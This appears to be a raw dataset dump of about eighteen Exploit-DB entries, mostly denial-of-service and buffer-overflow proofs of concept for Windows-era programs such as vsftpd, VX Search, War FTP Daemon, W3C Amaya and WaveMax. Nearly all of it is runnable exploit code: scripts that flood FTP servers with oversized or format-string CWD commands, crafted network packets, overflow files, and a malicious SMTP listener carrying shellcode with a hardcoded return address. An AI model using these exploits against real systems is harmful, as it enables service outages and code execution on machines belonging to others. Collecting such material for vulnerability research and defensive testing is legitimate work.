deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31819
Description: vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)
Type: dos
Platform: windows
Date: 2008-05-21
Author: Praveen Darshanam

Exploit:
source: https://www.securityfocus.com/bid/29322/info
 
 
The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.
 
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users. 

#!/usr/bin/perl -w


#######################################################################################
#vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
#Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
#Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
#option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
#I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# Author shall not bear any responsibility
#Author:Praveen Darshanam
#Email:praveen[underscore]recker[at]sify.com
#Date:07th June, 2008
#
#
########################################################################################


use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

    $ftp -> cwd();
}

$ftp->quit;
Exploit-DB #10907
Description: VSO Medoa Player 1.0.2.2 - Local Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-01-02
Author: SarBoT511

Exploit:
#!usr/bin/perl
#Exploits title :[VSO Medoa Player Version 1.0.2.2 Local Denial Of Services poc]
#Date : [2010/01/02]
#Aouther : [SarBoT511]
#downloads :[www.vso-software.fr]
#tested on :[win xp sp2]
#VSO Medoa Player Version 1.0.2.2


$file="SarBoT511.ape";
$boom="A" x 2000;
open(myfile,">>$file");
print myfile $boom;
close(myfile);
print "Done ..! ~#";
Exploit-DB #44494
Description: VX Search 10.6.18 - 'directory' Local Buffer Overflow
Type: dos
Platform: windows
Date: 2018-04-18
Author: Kevin McGuigan

Exploit:
#!/usr/bin/python
# Title: VX Search 10.6.18 Local Buffer Overflow
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: http://www.vxsearch.com
# Version: 10.6.18
# Date: 18/04/2018
# Tested on: Windows 7 32-bit
# Vendor did not respond to advisory. 

# Copy the contents of vxsearchpoc.txt, click the Server icon and paste into the directory field. 

filename="vxsearchPOC.txt"
junk = "A"*271
#0x652c2a1a : "jmp esp" | asciiprint,ascii {PAGE_READONLY}[QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS:False, v4.3.4.0 (C:\Program Files\VX SearchServer\bin\QtGui4.dll)
#eip="\x1a\x2a\x2c\x65"
eip = "B" * 4
fill = "C" *900
buffer = junk + eip + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #43451
Description: VX Search Enterprise 10.1.12 - Denial of Service
Type: dos
Platform: windows
Date: 2018-01-08
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: VX Search Enterprise Server v10.1.12  - Denial of Service
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.vxsearch.com/setups/vxsearchsrv_setup_v10.1.12.exe
# Version: v10.1.12
# Category; Windows Remote DOS
# CVE: CVE-2017-15662
# Author Homepage: www.unixawy.com

# Description In Flexense VX Search Enterprise Server v10.1.12, the Control Protocl suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9123.

 

import socket
target = "192.168.72.231"
port = 9123
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,port))
packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e" #evil
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)
         print data

except:

         print "K1LL3D"
Exploit-DB #47328
Description: VX Search Enterprise 10.4.16 - 'User-Agent' Denial of Service
Type: dos
Platform: windows
Date: 2019-08-30
Author: James Chamberlain

Exploit:
# Exploit Title: VX Search Enterprise v10.4.16 DoS
# Google Dork: N/A
# Date: 17.01.2018
# Exploit Author: James Chamberlain [chumb0]
# Vendor Homepage: http://www.vxsearch.com/downloads.html
# Software Link: http://www.vxsearch.com/setups/vxsearchent_setup_v10.4.16.exe
# Version: v10.4.16
# Tested on: Windows 7 Home x86
# CVE : N/A

# Have been unable to overwrite SEH/EIP, but the crash serves as an unauthenticated DoS.

# Replication - Large buffer sent in the majority of Request Headers. PoC attached. Server needs http enabling (non default)

 #!/usr/bin/python
import socket

pwnd = "A" * 5000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.50.133', 80))
buf = ""
buf += "GET / HTTP/1.1" + "\r\n"
buf += "Host: 192.168.50.133\r\n"
buf += "User-Agent: " + pwnd + "r\n"
buf += "\r\n\r\n"
s.send(buf)
s.close()
Exploit-DB #41755
Description: VX Search Enterprise 9.5.12 - 'Verify Email' Buffer Overflow
Type: dos
Platform: windows
Date: 2017-03-28
Author: ScrR1pTK1dd13

Exploit:
author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: VX Search Enterprise v9.5.12 email verify exploit
# Date: 2017.03.28
# Exploit Author: Greg Priest
# Version: VX Search Enterprise v9.5.12
# Tested on: Windows7 x64 HUN/ENG Professional
'''


import socket

port = 25
s = socket.socket()
ip = '127.0.0.1'            
s.bind((ip, port))            
s.listen(5)                    

overflow = "A" * 256
eip = "\x7A\xB7\x1B\x65"
# Search NO ASLR with mona.py
#"\x94\x21\x1C\x65" NO ASLR QtGui4.dll
#"\x7A\xB7\x1B\x65" NO ASLR QtGui4.dll
#"\x09\xc9\x1D\x65" NO ASLR QtGui4.dll
nop = "\x90" * 12
#calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

exploit = overflow+eip+nop+shellcode

print "Listening on port:", port

while True:
    conn, addr = s.accept()     
    conn.send(exploit+'\r\n')
    conn.close()
    print ""
    print "Succesfully exploitation!"
Exploit-DB #6651
Description: vxFtpSrv 2.0.3 - 'CWD' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-10-02
Author: Julien Bedard

Exploit:
#!/usr/bin/perl
########################################################
#
#  vxFtpSrv 2.0.3 CWD command Overflow PoC
#  by Julien Bedard (www.kosseclab.com)
#  info@kosseclab.com
#
#  Tested on MS Windows Mobile 6.0
#  (maybe other versions are vulnerable)
#
# vxftpsrv is the most common ftp
# server for mobile devices: wm, ppc etc.
# it suffer of an overflow when it recieve too long
# data string by the CWD command.
#
# the result will be immediately close server and
# the windows mobile device will really hang-up.
# so it's required to reset the device to be completely
# operational.
#
# Maybe we can exploit this issue for doing command
# execution but i've not test it since i have nothing
# to debug the application in real time.
#
# If you can help for further analysis please email me
# at info@kosseclab.com
#
########################################################

use Net::FTP;
$wftpsrvaddr = "255.255.255.255";
$overflow = "A" x 330;
$user = "anonymous";
$pass = "test@something.com";
$port = 21;

$ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->cwd($overflow);
$ftp->quit;

# milw0rm.com [2008-10-02]
Exploit-DB #7213
Description: W3C Amaya 10.1 Web Browser - 'id' Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-24
Author: r0ut3r

Exploit:
#            W3C Amaya 10.1 Web Browser
#
# Amaya (id) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/41/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The "id" variable of a tag contains a buffer overflow: 
# <div id=" 93*'A/' ">r0ut3r</div>
#
# The application will not overflow with normal alphanumeric characters. 
# To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is: 
# 91 * 2 = 182 + 4
#
# [junk] + [eip] +     [shellcode]
#  182   +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# "id" variable Proof of concept: 
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 350;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<div id="' .
                        'A/' x 91 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">test</div>';
print $data;

# milw0rm.com [2008-11-24]
Exploit-DB #7209
Description: W3C Amaya 10.1 Web Browser - URL Bar Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-24
Author: r0ut3r

Exploit:
#            W3C Amaya 10.1 Web Browser
#
# Amaya (URL Bar) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/40/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
# 
# The URL bar contains a buffer overflow vulnerability: 
# buffer length: 1600 bytes
#
# [junk] + [eip] +     [shellcode]
#  1600  +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# I found it difficult to access the URL bar via HTML code. For example, compile the above code, 
# write it to a HTML file, then load it into the browser. Attempt to click the link and
# you will notice there is a 800 character limit on the link. 
#
# To bypass this problem click the link then select "Links" >> "Create or change link...". 
# Now click "Confirm". Alternatively just copy the payload into the URL bar. 
#
# URL Bar Proof of concept: 
# ----------------------------------------------------
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 80;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<a href="' .
                        'A' x 1600 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">r0ut3r</a>';
print $data;

# milw0rm.com [2008-11-24]
Exploit-DB #4126
Description: W3Filer 2.1.3 - Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-06-29
Author: r0ut3r

Exploit:
/*
	W3Filer Buffer Overflow Vulnerability
                      DoS POC

            r0ut3r (writ3r [at] gmail.com)

Version: 2.1.3

Description: If the client recieves a large banner when 

attempting to send a file the application will freeze, 
resulting in the user having to kill the application. 
Alternatively the application will immediately crash with
an exception report. Either one of the above happens. The

EIP is overwritten with A's. Version 3.1.3 is not vulnerable. 

Timeline: 
06/27/2007 - Vulnerability discovered
06/28/2007 - Contacted vendor
06/29/2007 - Public release

This is dedicated to Jeremy Hammond

http://en.wikipedia.org/wiki/Jeremy_Hammond
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>

#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 21

int s, c;
struct sockaddr_in sock_addr;

int main()
{
	char evilbuf[1500];

	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

	sock_addr.sin_family = PF_INET;
	sock_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	sock_addr.sin_port = htons(PORT);

	bind(s, (struct sockaddr *)&sock_addr, sizeof(sock_addr));
	printf("[+] Listening...\n");


	listen(s, 5);
	printf("[*] Waiting for client\n");

	c = accept(s, NULL, NULL);
	printf("[!] Client connected\n");

	memset(evilbuf,'A',1500);
        memcpy(evilbuf,"220 ",4);

	memcpy(evilbuf+1497,"\r\n\0",3);
	printf("[+] Attempting buffer overflow\n");

	if (send(c, evilbuf, strlen(evilbuf), 0) == -1)
	{
		printf("[-] Error sending..\n");
		return 1;

	}

	printf("[+] Sent! did it crash?\n");
	return 0;
}

// milw0rm.com [2007-06-29]
Exploit-DB #21147
Description: WAP Proof 2008 - Denial of Service
Type: dos
Platform: windows
Date: 2012-09-08
Author: Orion Einfold

Exploit:
[] Description : 

WAP Proof is an universal emulator of a WAP browser for Microsoft Windows. It is designed for the preview and debugging of mobile websites and provide support for WML, XHTML, cHTML and HTML pages and a compatible GSM modems, such as Wavecom, Alcatel, Motorola, Nokia, Siemens, Sagem, Sony Ericsson .. etc.
Vendor Homepage: http://www.wap-proof.com/

[] Technical details:

The <td> and <tr> tags defines a table row or a standard cell in a HTML table alongwith the column="" attribute in the <table> element
and any incorrect integer value for column attribute that not fitt for the enumeration of tags may usually cause to crash the browser.



[] POC to /bug.wml:


<?xml version="1.0" encoding="utf-8"?> 

<wml><card id="orion" title="einfold">
<p><table title="Tab" columns="1" align="LCR" class="AAA" id="AAA">
<tr><td>one</td><td>two</td><td>three</td></tr>
</table></p></card></wml> 

<!-- Orion Einfold -->
Exploit-DB #25063
Description: War FTP Daemon 1.8 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-01-27
Author: MC.Iglo

Exploit:
source: https://www.securityfocus.com/bid/12384/info

War FTP Daemon is reported prone to a remote denial of service vulnerability. This issue arises because the application fails to handle exceptional conditions in a proper manner.

War FTP Daemon 1.82.00-RC9 is reported prone to this issue. It is likely that previous versions are vulnerable as well.

#!/usr/bin/perl -w
# remote DoS PoC Exploit for WarFTPD 1.82 RC9
# THX 2 barabas 4 his GoldenFTP-sploit :)
# greetings fly out to Foobar

use strict;
use Net::FTP;
my $payload="%s"x115;

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("anonymous","123@123.com");
$ftp->quot("CWD",$payload);
Exploit-DB #25680
Description: War Times - Remote Game Server Denial of Service
Type: dos
Platform: windows
Date: 2005-05-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13652/info

War Times is susceptible to a remote denial of service vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied network data prior to copying it into a fixed-size memory buffer.

This vulnerability allows remote attackers to crash the game server, denying service to legitimate users.

Version 1.03, and prior are affected by this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25680.zip
Exploit-DB #9496
Description: War-FTPD 1.65 - MKD/CD Requests Denial of Service
Type: dos
Platform: windows
Date: 2009-08-24
Author: opt!x hacker

Exploit:
WAR-FTPD 1.65 (MKD & CD) requests Remote Denial of Service
exploited by opt!x hacker
mail: optix@9.cn
greetz to his0k4
about : http://securityreason.com/exploitalert/6971
you have to connect to target server from cmd like that:
i sended it with perl and python scripts but it's not working because im
beginner in remotes
############################################################
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrateur>ftp
ftp> open
Vers 5.237.109.181 21
ConnectÃ© Ã  5.237.109.181.
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
Utilisateur (5.237.109.181:(none)) : root
331 User name okay, Need password.
Mot de passe :
230 User logged in, proceed.
ftp> MKD A x 5000 or cd A x 5000
##########################################################

you have to execute this perl script then put his content after MKD or CD
__________________________________________________________________
my $crash= "A" x 5000;
open(c,">>denial.txt");
print c $crash;
print "[+] Done !! [+]";
close(c);
_________________________________________________________________

then olly is executed because im working with this option : just in time
debugger

###########################################################################
#################"""
EAX 41414141
ECX 008EEC18 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
EDX 008E0278
EBX 008E0000
ESP 00B2F538
EBP 00B2F758
ESI 008EEC10 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
EDI 41414141
EIP 7C9211DE ntdll.7C9211DE
###########################################################################
##################"""

and programm will be crashed :) 

# milw0rm.com [2009-08-24]
Exploit-DB #20957
Description: WarFTP Daemon 1.82 RC 11 - Remote Format String
Type: dos
Platform: windows
Date: 2012-08-31
Author: coolkaveh

Exploit:
# Exploit Title: War FTP Daemon Remote Format String Vulnerability
# crash: http://img826.imageshack.us/img826/6222/69004160.png
# Date: 2012-08-30
# Author: coolkaveh
# coolkaveh@rocketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: http://www.warftp.org
# Version: War FTP Daemon 1.82 RC 11
# Tested on: windows XP SP3
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# War FTP Daemon Remote Format String Vulnerability
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w

use IO::Socket;
$|=1;
$host=shift || die "$0 \$host \$port\n";
$port=shift || die "$0 \$host \$port\n";
my $username = "%s%s%s%s%s%s%s%s%s%s%s%s";
my $[CREDENTIAL_REDACTED]";
print "Launch Attack ... ";
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";
if(defined($sock1)){
  $sock1->recv($content, 100, 0);
  sleep(2);
  $sock1->send("USER ".$username."\r\n", 0);
  $sock1->send("PASS ".$password."\r\n", 0);
  sleep(2);
  $sock1->recv($content, 100, 0);
  sleep(5);
  $sock1->close;
}
print "Finish!\n";
exit(1);
Exploit-DB #2735
Description: WarFTPd 1.82.00-RC11 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-11-07
Author: Joxean Koret

Exploit:
#!/usr/bin/env python

import sys
import ftplib

print "WAR_FTPD Remote Denial Of Service (DOS)"
print "Copyright (c) Joxean Koret"
print

target = "192.168.1.13"
targetPort = "21"

try:
    ftp = ftplib.FTP()

    print "[+] Connecting to target "
    msg = ftp.connect(target, targetPort)
    print "[+] Ok. Target banner"
    print msg
    print
    print "[+] Trying to logging anonymously"
    msg = ftp.login() # Anonymous
    print "[+] Ok. Message"
    print msg
    print
except:
    print "[!] Exploit doesn't work. " + str(sys.exc_info()[1])
    sys.exit(0)

a = "%s%s"
"""
for i in range(0):
    a += a
"""
b = "AAAA"

for i in range(6):
    b += b

a = a + b

print "[+] Exploiting with a buffer of " + str(len(a)) + " byte(s) ... "

try:
    ftp.cwd(a)
except:
    print "[+] Exploit apparently works. Trying to verify it ... "

    try:
        ftp.connect(target, targetPort)
        print "[!] No, it doesn't work [" + str(sys.exc_info()[1]) + "] :("
    except:
        print "[!] Ok. Server is dead, exploit successfully executed. "

# milw0rm.com [2006-11-07]
Exploit-DB #46194
Description: Watchr 1.1.0.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-18
Author: 0xB9

Exploit:
# Exploit Title: Watchr 1.1.0.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9PN12GNX62VZ
# Version: 1.1.0.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "watchr.txt"
# Copy the text from the generated watchr.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash

buffer = "A" * 8145
payload = buffer
try:
    f=open("watchr.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #15671
Description: WaveMax Sound Editor 4.5.1 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-12-04
Author: h1ch4m

Exploit:
####
####
####Exploit Title: WaveMax Sound Editor 4.5.1 Local Crash PoC
####Software Link: http://www.wave-max.com/wavemax/
####Tested on: Win XP SP3
####Date: 04-12-2010
####Author:  h1ch4m
####Email: h1ch4m@live.fr
####
####



my $file= "1.cda";
my $junk = "\x41" x 1000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
sleep(1);